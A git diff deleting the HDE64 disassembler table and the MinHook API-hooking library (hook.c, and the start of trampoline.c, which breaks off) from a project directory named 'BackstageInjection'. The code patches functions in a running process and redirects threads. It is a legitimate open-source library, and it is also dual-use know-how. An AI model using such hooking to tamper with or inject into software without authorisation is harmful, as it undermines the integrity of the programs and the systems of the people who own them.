/dev/null @@ -1,74 +0,0 @@ -/* - * Hacker Disassembler Engine 64 C - * Copyright (c) 2008-2009, Vyacheslav Patkov. - * All rights reserved. - * - */ - -#define C_NONE 0x00 -#define C_MODRM 0x01 -#define C_IMM8 0x02 -#define C_IMM16 0x04 -#define C_IMM_P66 0x10 -#define C_REL8 0x20 -#define C_REL32 0x40 -#define C_GROUP 0x80 -#define C_ERROR 0xff - -#define PRE_ANY 0x00 -#define PRE_NONE 0x01 -#define PRE_F2 0x02 -#define PRE_F3 0x04 -#define PRE_66 0x08 -#define PRE_67 0x10 -#define PRE_LOCK 0x20 -#define PRE_SEG 0x40 -#define PRE_ALL 0xff - -#define DELTA_OPCODES 0x4a -#define DELTA_FPU_REG 0xfd -#define DELTA_FPU_MODRM 0x104 -#define DELTA_PREFIXES 0x13c -#define DELTA_OP_LOCK_OK 0x1ae -#define DELTA_OP2_LOCK_OK 0x1c6 -#define DELTA_OP_ONLY_MEM 0x1d8 -#define DELTA_OP2_ONLY_MEM 0x1e7 - -unsigned char hde64_table[] = { - 0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5, - 0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1, - 0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea, - 0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0, - 0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab, - 0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92, - 0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90, - 0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b, - 0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b, - 0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc, - 0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20, - 0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff, - 0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00, - 0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01, - 0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10, - 0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00, - 0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00, - 0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00, - 0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff, - 0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00, - 0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40, - 0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43, - 0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40, - 0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40, - 0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06, - 0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07, - 0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04, - 0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10, - 0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00, - 0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb, - 0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff, - 0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09, - 0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff, - 0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08, - 0x00,0xf0,0x02,0x00 -}; diff --git a/BackstageInjection/Minhook/src/hook.c b/BackstageInjection/Minhook/src/hook.c deleted file mode 100644 index 06f5696..0000000 --- a/BackstageInjection/Minhook/src/hook.c +++ /dev/null @@ -1,939 +0,0 @@ -/* - * MinHook - The Minimalistic API Hooking Library for x64/x86 - * Copyright (C) 2009-2017 Tsuda Kageyu. - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED - * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A - * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER - * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, - * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR - * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF - * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING - * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS - * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include -#include -#include - -#include "../include/MinHook.h" -#include "buffer.h" -#include "trampoline.h" - -#ifndef ARRAYSIZE - #define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0])) -#endif - -// Initial capacity of the HOOK_ENTRY buffer. -#define INITIAL_HOOK_CAPACITY 32 - -// Initial capacity of the thread IDs buffer. -#define INITIAL_THREAD_CAPACITY 128 - -// Special hook position values. -#define INVALID_HOOK_POS UINT_MAX -#define ALL_HOOKS_POS UINT_MAX - -// Freeze() action argument defines. -#define ACTION_DISABLE 0 -#define ACTION_ENABLE 1 -#define ACTION_APPLY_QUEUED 2 - -// Thread access rights for suspending/resuming threads. -#define THREAD_ACCESS \ - (THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT) - -// Hook information. -typedef struct _HOOK_ENTRY -{ - LPVOID pTarget; // Address of the target function. - LPVOID pDetour; // Address of the detour or relay function. - LPVOID pTrampoline; // Address of the trampoline function. - UINT8 backup[8]; // Original prologue of the target function. - - UINT8 patchAbove : 1; // Uses the hot patch area. - UINT8 isEnabled : 1; // Enabled. - UINT8 queueEnable : 1; // Queued for enabling/disabling when != isEnabled. - - UINT nIP : 4; // Count of the instruction boundaries. - UINT8 oldIPs[8]; // Instruction boundaries of the target function. - UINT8 newIPs[8]; // Instruction boundaries of the trampoline function. -} HOOK_ENTRY, *PHOOK_ENTRY; - -// Suspended threads for Freeze()/Unfreeze(). -typedef struct _FROZEN_THREADS -{ - LPDWORD pItems; // Data heap - UINT capacity; // Size of allocated data heap, items - UINT size; // Actual number of data items -} FROZEN_THREADS, *PFROZEN_THREADS; - -//------------------------------------------------------------------------- -// Global Variables: -//------------------------------------------------------------------------- - -// Spin lock flag for EnterSpinLock()/LeaveSpinLock(). -static volatile LONG g_isLocked = FALSE; - -// Private heap handle. If not NULL, this library is initialized. -static HANDLE g_hHeap = NULL; - -// Hook entries. -static struct -{ - PHOOK_ENTRY pItems; // Data heap - UINT capacity; // Size of allocated data heap, items - UINT size; // Actual number of data items -} g_hooks; - -//------------------------------------------------------------------------- -// Returns INVALID_HOOK_POS if not found. -static UINT FindHookEntry(LPVOID pTarget) -{ - UINT i; - for (i = 0; i < g_hooks.size; ++i) - { - if ((ULONG_PTR)pTarget == (ULONG_PTR)g_hooks.pItems[i].pTarget) - return i; - } - - return INVALID_HOOK_POS; -} - -//------------------------------------------------------------------------- -static PHOOK_ENTRY AddHookEntry() -{ - if (g_hooks.pItems == NULL) - { - g_hooks.capacity = INITIAL_HOOK_CAPACITY; - g_hooks.pItems = (PHOOK_ENTRY)HeapAlloc( - g_hHeap, 0, g_hooks.capacity * sizeof(HOOK_ENTRY)); - if (g_hooks.pItems == NULL) - return NULL; - } - else if (g_hooks.size >= g_hooks.capacity) - { - PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc( - g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity * 2) * sizeof(HOOK_ENTRY)); - if (p == NULL) - return NULL; - - g_hooks.capacity *= 2; - g_hooks.pItems = p; - } - - return &g_hooks.pItems[g_hooks.size++]; -} - -//------------------------------------------------------------------------- -static VOID DeleteHookEntry(UINT pos) -{ - if (pos < g_hooks.size - 1) - g_hooks.pItems[pos] = g_hooks.pItems[g_hooks.size - 1]; - - g_hooks.size--; - - if (g_hooks.capacity / 2 >= INITIAL_HOOK_CAPACITY && g_hooks.capacity / 2 >= g_hooks.size) - { - PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc( - g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity / 2) * sizeof(HOOK_ENTRY)); - if (p == NULL) - return; - - g_hooks.capacity /= 2; - g_hooks.pItems = p; - } -} - -//------------------------------------------------------------------------- -static DWORD_PTR FindOldIP(PHOOK_ENTRY pHook, DWORD_PTR ip) -{ - UINT i; - - if (pHook->patchAbove && ip == ((DWORD_PTR)pHook->pTarget - sizeof(JMP_REL))) - return (DWORD_PTR)pHook->pTarget; - - for (i = 0; i < pHook->nIP; ++i) - { - if (ip == ((DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i])) - return (DWORD_PTR)pHook->pTarget + pHook->oldIPs[i]; - } - -#if defined(_M_X64) || defined(__x86_64__) - // Check relay function. - if (ip == (DWORD_PTR)pHook->pDetour) - return (DWORD_PTR)pHook->pTarget; -#endif - - return 0; -} - -//------------------------------------------------------------------------- -static DWORD_PTR FindNewIP(PHOOK_ENTRY pHook, DWORD_PTR ip) -{ - UINT i; - for (i = 0; i < pHook->nIP; ++i) - { - if (ip == ((DWORD_PTR)pHook->pTarget + pHook->oldIPs[i])) - return (DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i]; - } - - return 0; -} - -//------------------------------------------------------------------------- -static VOID ProcessThreadIPs(HANDLE hThread, UINT pos, UINT action) -{ - // If the thread suspended in the overwritten area, - // move IP to the proper address. - - CONTEXT c; -#if defined(_M_X64) || defined(__x86_64__) - DWORD64 *pIP = &c.Rip; -#else - DWORD *pIP = &c.Eip; -#endif - UINT count; - - c.ContextFlags = CONTEXT_CONTROL; - if (!GetThreadContext(hThread, &c)) - return; - - if (pos == ALL_HOOKS_POS) - { - pos = 0; - count = g_hooks.size; - } - else - { - count = pos + 1; - } - - for (; pos < count; ++pos) - { - PHOOK_ENTRY pHook = &g_hooks.pItems[pos]; - BOOL enable; - DWORD_PTR ip; - - switch (action) - { - case ACTION_DISABLE: - enable = FALSE; - break; - - case ACTION_ENABLE: - enable = TRUE; - break; - - default: // ACTION_APPLY_QUEUED - enable = pHook->queueEnable; - break; - } - if (pHook->isEnabled == enable) - continue; - - if (enable) - ip = FindNewIP(pHook, *pIP); - else - ip = FindOldIP(pHook, *pIP); - - if (ip != 0) - { - *pIP = ip; - SetThreadContext(hThread, &c); - } - } -} - -//------------------------------------------------------------------------- -static BOOL EnumerateThreads(PFROZEN_THREADS pThreads) -{ - BOOL succeeded = FALSE; - - HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); - if (hSnapshot != INVALID_HANDLE_VALUE) - { - THREADENTRY32 te; - te.dwSize = sizeof(THREADENTRY32); - if (Thread32First(hSnapshot, &te)) - { - succeeded = TRUE; - do - { - if (te.dwSize >= (FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(DWORD)) - && te.th32OwnerProcessID == GetCurrentProcessId() - && te.th32ThreadID != GetCurrentThreadId()) - { - if (pThreads->pItems == NULL) - { - pThreads->capacity = INITIAL_THREAD_CAPACITY; - pThreads->pItems - = (LPDWORD)HeapAlloc(g_hHeap, 0, pThreads->capacity * sizeof(DWORD)); - if (pThreads->pItems == NULL) - { - succeeded = FALSE; - break; - } - } - else if (pThreads->size >= pThreads->capacity) - { - LPDWORD p; - pThreads->capacity *= 2; - p = (LPDWORD)HeapReAlloc( - g_hHeap, 0, pThreads->pItems, pThreads->capacity * sizeof(DWORD)); - if (p == NULL) - { - succeeded = FALSE; - break; - } - - pThreads->pItems = p; - } - pThreads->pItems[pThreads->size++] = te.th32ThreadID; - } - - te.dwSize = sizeof(THREADENTRY32); - } while (Thread32Next(hSnapshot, &te)); - - if (succeeded && GetLastError() != ERROR_NO_MORE_FILES) - succeeded = FALSE; - - if (!succeeded && pThreads->pItems != NULL) - { - HeapFree(g_hHeap, 0, pThreads->pItems); - pThreads->pItems = NULL; - } - } - CloseHandle(hSnapshot); - } - - return succeeded; -} - -//------------------------------------------------------------------------- -static MH_STATUS Freeze(PFROZEN_THREADS pThreads, UINT pos, UINT action) -{ - MH_STATUS status = MH_OK; - - pThreads->pItems = NULL; - pThreads->capacity = 0; - pThreads->size = 0; - if (!EnumerateThreads(pThreads)) - { - status = MH_ERROR_MEMORY_ALLOC; - } - else if (pThreads->pItems != NULL) - { - UINT i; - for (i = 0; i < pThreads->size; ++i) - { - HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, pThreads->pItems[i]); - BOOL suspended = FALSE; - if (hThread != NULL) - { - DWORD result = SuspendThread(hThread); - if (result != 0xFFFFFFFF) - { - suspended = TRUE; - ProcessThreadIPs(hThread, pos, action); - } - CloseHandle(hThread); - } - - if (!suspended) - { - // Mark thread as not suspended, so it's not resumed later on. - pThreads->pItems[i] = 0; - } - } - } - - return status; -} - -//------------------------------------------------------------------------- -static VOID Unfreeze(PFROZEN_THREADS pThreads) -{ - if (pThreads->pItems != NULL) - { - UINT i; - for (i = 0; i < pThreads->size; ++i) - { - DWORD threadId = pThreads->pItems[i]; - if (threadId != 0) - { - HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, threadId); - if (hThread != NULL) - { - ResumeThread(hThread); - CloseHandle(hThread); - } - } - } - - HeapFree(g_hHeap, 0, pThreads->pItems); - } -} - -//------------------------------------------------------------------------- -static MH_STATUS EnableHookLL(UINT pos, BOOL enable) -{ - PHOOK_ENTRY pHook = &g_hooks.pItems[pos]; - DWORD oldProtect; - SIZE_T patchSize = sizeof(JMP_REL); - LPBYTE pPatchTarget = (LPBYTE)pHook->pTarget; - - if (pHook->patchAbove) - { - pPatchTarget -= sizeof(JMP_REL); - patchSize += sizeof(JMP_REL_SHORT); - } - - if (!VirtualProtect(pPatchTarget, patchSize, PAGE_EXECUTE_READWRITE, &oldProtect)) - return MH_ERROR_MEMORY_PROTECT; - - if (enable) - { - PJMP_REL pJmp = (PJMP_REL)pPatchTarget; - pJmp->opcode = 0xE9; - pJmp->operand = (INT32)((LPBYTE)pHook->pDetour - (pPatchTarget + sizeof(JMP_REL))); - - if (pHook->patchAbove) - { - PJMP_REL_SHORT pShortJmp = (PJMP_REL_SHORT)pHook->pTarget; - pShortJmp->opcode = 0xEB; - pShortJmp->operand = (INT8)(0 - (sizeof(JMP_REL_SHORT) + sizeof(JMP_REL))); - } - } - else - { - if (pHook->patchAbove) - memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL) + sizeof(JMP_REL_SHORT)); - else - memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL)); - } - - VirtualProtect(pPatchTarget, patchSize, oldProtect, &oldProtect); - - // Just-in-case measure. - FlushInstructionCache(GetCurrentProcess(), pPatchTarget, patchSize); - - pHook->isEnabled = enable; - pHook->queueEnable = enable; - - return MH_OK; -} - -//------------------------------------------------------------------------- -static MH_STATUS EnableAllHooksLL(BOOL enable) -{ - MH_STATUS status = MH_OK; - UINT i, first = INVALID_HOOK_POS; - - for (i = 0; i < g_hooks.size; ++i) - { - if (g_hooks.pItems[i].isEnabled != enable) - { - first = i; - break; - } - } - - if (first != INVALID_HOOK_POS) - { - FROZEN_THREADS threads; - status = Freeze(&threads, ALL_HOOKS_POS, enable ? ACTION_ENABLE : ACTION_DISABLE); - if (status == MH_OK) - { - for (i = first; i < g_hooks.size; ++i) - { - if (g_hooks.pItems[i].isEnabled != enable) - { - status = EnableHookLL(i, enable); - if (status != MH_OK) - break; - } - } - - Unfreeze(&threads); - } - } - - return status; -} - -//------------------------------------------------------------------------- -static VOID EnterSpinLock(VOID) -{ - SIZE_T spinCount = 0; - - // Wait until the flag is FALSE. - while (InterlockedCompareExchange(&g_isLocked, TRUE, FALSE) != FALSE) - { - // No need to generate a memory barrier here, since InterlockedCompareExchange() - // generates a full memory barrier itself. - - // Prevent the loop from being too busy. - if (spinCount < 32) - Sleep(0); - else - Sleep(1); - - spinCount++; - } -} - -//------------------------------------------------------------------------- -static VOID LeaveSpinLock(VOID) -{ - // No need to generate a memory barrier here, since InterlockedExchange() - // generates a full memory barrier itself. - - InterlockedExchange(&g_isLocked, FALSE); -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_Initialize(VOID) -{ - MH_STATUS status = MH_OK; - - EnterSpinLock(); - - if (g_hHeap == NULL) - { - g_hHeap = HeapCreate(0, 0, 0); - if (g_hHeap != NULL) - { - // Initialize the internal function buffer. - InitializeBuffer(); - } - else - { - status = MH_ERROR_MEMORY_ALLOC; - } - } - else - { - status = MH_ERROR_ALREADY_INITIALIZED; - } - - LeaveSpinLock(); - - return status; -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_Uninitialize(VOID) -{ - MH_STATUS status = MH_OK; - - EnterSpinLock(); - - if (g_hHeap != NULL) - { - status = EnableAllHooksLL(FALSE); - if (status == MH_OK) - { - // Free the internal function buffer. - - // HeapFree is actually not required, but some tools detect a false - // memory leak without HeapFree. - - UninitializeBuffer(); - - HeapFree(g_hHeap, 0, g_hooks.pItems); - HeapDestroy(g_hHeap); - - g_hHeap = NULL; - - g_hooks.pItems = NULL; - g_hooks.capacity = 0; - g_hooks.size = 0; - } - } - else - { - status = MH_ERROR_NOT_INITIALIZED; - } - - LeaveSpinLock(); - - return status; -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal) -{ - MH_STATUS status = MH_OK; - - EnterSpinLock(); - - if (g_hHeap != NULL) - { - if (IsExecutableAddress(pTarget) && IsExecutableAddress(pDetour)) - { - UINT pos = FindHookEntry(pTarget); - if (pos == INVALID_HOOK_POS) - { - LPVOID pBuffer = AllocateBuffer(pTarget); - if (pBuffer != NULL) - { - TRAMPOLINE ct; - - ct.pTarget = pTarget; - ct.pDetour = pDetour; - ct.pTrampoline = pBuffer; - if (CreateTrampolineFunction(&ct)) - { - PHOOK_ENTRY pHook = AddHookEntry(); - if (pHook != NULL) - { - pHook->pTarget = ct.pTarget; -#if defined(_M_X64) || defined(__x86_64__) - pHook->pDetour = ct.pRelay; -#else - pHook->pDetour = ct.pDetour; -#endif - pHook->pTrampoline = ct.pTrampoline; - pHook->patchAbove = ct.patchAbove; - pHook->isEnabled = FALSE; - pHook->queueEnable = FALSE; - pHook->nIP = ct.nIP; - memcpy(pHook->oldIPs, ct.oldIPs, ARRAYSIZE(ct.oldIPs)); - memcpy(pHook->newIPs, ct.newIPs, ARRAYSIZE(ct.newIPs)); - - // Back up the target function. - - if (ct.patchAbove) - { - memcpy( - pHook->backup, - (LPBYTE)pTarget - sizeof(JMP_REL), - sizeof(JMP_REL) + sizeof(JMP_REL_SHORT)); - } - else - { - memcpy(pHook->backup, pTarget, sizeof(JMP_REL)); - } - - if (ppOriginal != NULL) - *ppOriginal = pHook->pTrampoline; - } - else - { - status = MH_ERROR_MEMORY_ALLOC; - } - } - else - { - status = MH_ERROR_UNSUPPORTED_FUNCTION; - } - - if (status != MH_OK) - { - FreeBuffer(pBuffer); - } - } - else - { - status = MH_ERROR_MEMORY_ALLOC; - } - } - else - { - status = MH_ERROR_ALREADY_CREATED; - } - } - else - { - status = MH_ERROR_NOT_EXECUTABLE; - } - } - else - { - status = MH_ERROR_NOT_INITIALIZED; - } - - LeaveSpinLock(); - - return status; -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget) -{ - MH_STATUS status = MH_OK; - - EnterSpinLock(); - - if (g_hHeap != NULL) - { - UINT pos = FindHookEntry(pTarget); - if (pos != INVALID_HOOK_POS) - { - if (g_hooks.pItems[pos].isEnabled) - { - FROZEN_THREADS threads; - status = Freeze(&threads, pos, ACTION_DISABLE); - if (status == MH_OK) - { - status = EnableHookLL(pos, FALSE); - - Unfreeze(&threads); - } - } - - if (status == MH_OK) - { - FreeBuffer(g_hooks.pItems[pos].pTrampoline); - DeleteHookEntry(pos); - } - } - else - { - status = MH_ERROR_NOT_CREATED; - } - } - else - { - status = MH_ERROR_NOT_INITIALIZED; - } - - LeaveSpinLock(); - - return status; -} - -//------------------------------------------------------------------------- -static MH_STATUS EnableHook(LPVOID pTarget, BOOL enable) -{ - MH_STATUS status = MH_OK; - - EnterSpinLock(); - - if (g_hHeap != NULL) - { - if (pTarget == MH_ALL_HOOKS) - { - status = EnableAllHooksLL(enable); - } - else - { - UINT pos = FindHookEntry(pTarget); - if (pos != INVALID_HOOK_POS) - { - if (g_hooks.pItems[pos].isEnabled != enable) - { - FROZEN_THREADS threads; - status = Freeze(&threads, pos, ACTION_ENABLE); - if (status == MH_OK) - { - status = EnableHookLL(pos, enable); - - Unfreeze(&threads); - } - } - else - { - status = enable ? MH_ERROR_ENABLED : MH_ERROR_DISABLED; - } - } - else - { - status = MH_ERROR_NOT_CREATED; - } - } - } - else - { - status = MH_ERROR_NOT_INITIALIZED; - } - - LeaveSpinLock(); - - return status; -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget) -{ - return EnableHook(pTarget, TRUE); -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget) -{ - return EnableHook(pTarget, FALSE); -} - -//------------------------------------------------------------------------- -static MH_STATUS QueueHook(LPVOID pTarget, BOOL queueEnable) -{ - MH_STATUS status = MH_OK; - - EnterSpinLock(); - - if (g_hHeap != NULL) - { - if (pTarget == MH_ALL_HOOKS) - { - UINT i; - for (i = 0; i < g_hooks.size; ++i) - g_hooks.pItems[i].queueEnable = queueEnable; - } - else - { - UINT pos = FindHookEntry(pTarget); - if (pos != INVALID_HOOK_POS) - { - g_hooks.pItems[pos].queueEnable = queueEnable; - } - else - { - status = MH_ERROR_NOT_CREATED; - } - } - } - else - { - status = MH_ERROR_NOT_INITIALIZED; - } - - LeaveSpinLock(); - - return status; -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget) -{ - return QueueHook(pTarget, TRUE); -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget) -{ - return QueueHook(pTarget, FALSE); -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_ApplyQueued(VOID) -{ - MH_STATUS status = MH_OK; - UINT i, first = INVALID_HOOK_POS; - - EnterSpinLock(); - - if (g_hHeap != NULL) - { - for (i = 0; i < g_hooks.size; ++i) - { - if (g_hooks.pItems[i].isEnabled != g_hooks.pItems[i].queueEnable) - { - first = i; - break; - } - } - - if (first != INVALID_HOOK_POS) - { - FROZEN_THREADS threads; - status = Freeze(&threads, ALL_HOOKS_POS, ACTION_APPLY_QUEUED); - if (status == MH_OK) - { - for (i = first; i < g_hooks.size; ++i) - { - PHOOK_ENTRY pHook = &g_hooks.pItems[i]; - if (pHook->isEnabled != pHook->queueEnable) - { - status = EnableHookLL(i, pHook->queueEnable); - if (status != MH_OK) - break; - } - } - - Unfreeze(&threads); - } - } - } - else - { - status = MH_ERROR_NOT_INITIALIZED; - } - - LeaveSpinLock(); - - return status; -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_CreateHookApiEx( - LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, - LPVOID *ppOriginal, LPVOID *ppTarget) -{ - HMODULE hModule; - LPVOID pTarget; - - hModule = GetModuleHandleW(pszModule); - if (hModule == NULL) - return MH_ERROR_MODULE_NOT_FOUND; - - pTarget = (LPVOID)GetProcAddress(hModule, pszProcName); - if (pTarget == NULL) - return MH_ERROR_FUNCTION_NOT_FOUND; - - if (ppTarget != NULL) - *ppTarget = pTarget; - - return MH_CreateHook(pTarget, pDetour, ppOriginal); -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_CreateHookApi( - LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal) -{ - return MH_CreateHookApiEx(pszModule, pszProcName, pDetour, ppOriginal, NULL); -} - -//------------------------------------------------------------------------- -const char *WINAPI MH_StatusToString(MH_STATUS status) -{ -#define MH_ST2STR(x) \ - case x: \ - return #x; - - switch (status) { - MH_ST2STR(MH_UNKNOWN) - MH_ST2STR(MH_OK) - MH_ST2STR(MH_ERROR_ALREADY_INITIALIZED) - MH_ST2STR(MH_ERROR_NOT_INITIALIZED) - MH_ST2STR(MH_ERROR_ALREADY_CREATED) - MH_ST2STR(MH_ERROR_NOT_CREATED) - MH_ST2STR(MH_ERROR_ENABLED) - MH_ST2STR(MH_ERROR_DISABLED) - MH_ST2STR(MH_ERROR_NOT_EXECUTABLE) - MH_ST2STR(MH_ERROR_UNSUPPORTED_FUNCTION) - MH_ST2STR(MH_ERROR_MEMORY_ALLOC) - MH_ST2STR(MH_ERROR_MEMORY_PROTECT) - MH_ST2STR(MH_ERROR_MODULE_NOT_FOUND) - MH_ST2STR(MH_ERROR_FUNCTION_NOT_FOUND) - } - -#undef MH_ST2STR - - return "(unknown)"; -} diff --git a/BackstageInjection/Minhook/src/trampoline.c b/BackstageInjection/Minhook/src/trampoline.c deleted file mode 100644 index cf8ce05..0000000 --- a/BackstageInjection/Minhook/src/trampoline.c +++ /dev/null @@ -1,320 +0,0 @@ -/* - * MinHook - The Minimalistic API Hooking Library for x64/x86 - * Copyright (C) 2009-2017 Tsuda Kageyu. - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED - * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A - * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER - * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, - * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR - * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF - * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING - * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS - * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include - -#if defined(_MSC_VER) && !defined(MINHOOK_DISABLE_INTRINSICS) - #define 